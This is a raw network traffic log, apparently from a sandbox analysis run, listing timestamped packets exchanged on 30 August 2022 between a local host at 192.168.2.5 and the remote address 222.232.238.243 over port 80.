Aug 30, 2022 15:54:41.605710030 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605747938 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605776072 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605797052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605818033 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605839968 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605859995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605880022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605901003 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605921984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605942011 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605962992 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605983973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606005907 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606025934 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606049061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606070042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606091022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606112003 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606133938 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606154919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606174946 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606194973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606218100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606240034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606261969 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606282949 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606304884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606326103 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606347084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606369019 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606395006 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606415987 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606436014 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606456995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606477976 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606498957 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606518984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606539965 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606560946 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606581926 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606601954 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606623888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606643915 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606664896 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606686115 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606708050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606729984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606750965 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606770992 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606792927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606813908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606833935 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606854916 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606877089 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606898069 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606918097 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606937885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606959105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.606980085 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607001066 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607021093 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607042074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607063055 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607084036 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607105017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607125998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607146978 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607168913 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607188940 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607209921 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607230902 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607251883 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607281923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607304096 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607323885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607362032 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607384920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607405901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607426882 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607448101 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607470036 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607490063 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607510090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607531071 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607552052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607579947 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607601881 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.607600927 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.607654095 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.607716084 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612657070 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612688065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612715960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612742901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612771988 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612804890 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612807989 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612829924 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612858057 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612885952 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.612906933 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612925053 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612931013 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.612951994 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.613023043 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.613076925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.613104105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.613148928 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.613154888 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.753411055 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.771131039 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.771192074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.771260023 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.771323919 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901362896 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901447058 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901510954 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901537895 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901571035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901571989 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901577950 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901628971 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901637077 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901696920 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901700974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901763916 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901773930 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901823044 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901824951 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901879072 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901885986 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.901942015 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.901947021 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902004957 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902009964 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902066946 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902072906 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902132034 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902137041 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902200937 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902204037 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902259111 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902261972 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902316093 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902323008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902441025 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902446985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902503967 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902508020 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902558088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902566910 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902599096 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902612925 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902640104 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902656078 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902682066 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902703047 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902720928 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902739048 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902760983 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902775049 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902802944 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902836084 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902842999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902867079 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902898073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902910948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902954102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.902965069 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.902997971 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903019905 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903043985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903064013 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903083086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903130054 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903134108 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903141022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903187037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903239965 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903254032 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903281927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903301954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903322935 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903400898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903405905 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903451920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903481007 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903493881 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903533936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903541088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903574944 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903604031 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903616905 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903636932 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903657913 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903697014 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903726101 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903738022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903779984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903780937 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903809071 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903821945 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903861046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903896093 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903899908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903922081 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.903949976 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.903969049 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904006958 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904052973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904092073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904097080 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904124975 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904133081 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904169083 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904175043 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904197931 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904213905 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904234886 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904253960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904273987 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904293060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904314041 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904331923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904351950 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904371977 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904392958 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904412985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904433012 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904453993 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904479027 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904495955 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904515982 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904534101 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904560089 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904573917 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904596090 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904614925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904630899 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904653072 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904670000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904706001 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904706001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904767036 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904771090 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904808998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904824972 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904851913 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904866934 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904891014 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904906988 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904933929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.904942036 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904989958 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.904993057 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905035973 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905055046 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905075073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905093908 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905117035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905136108 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905169964 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905170918 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905222893 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905234098 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905272961 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905282974 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905323982 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905333996 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905380011 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905396938 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905421019 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905464888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905476093 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905508041 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905522108 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905566931 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905570984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905622959 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905630112 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905663013 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905677080 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905714035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905714989 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905754089 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905772924 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905793905 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905812979 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905836105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905854940 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905874968 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905888081 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905915022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905927896 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905956984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.905966043 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.905996084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.906014919 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.906038046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.906049967 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.906078100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.906090975 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.906119108 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.906128883 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.906164885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.906172991 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.906219959 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.907927990 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.908021927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.908030033 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.908075094 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.908078909 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.908113956 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.908137083 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.908164024 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.908171892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.908224106 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.912743092 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.912790060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.912831068 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.912889957 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.912924051 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.912946939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.912966013 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.912971973 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913011074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913017035 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913077116 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913084984 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913120031 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.913134098 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.913160086 CEST	80	49728	222.232.238.243	192.168.2.5
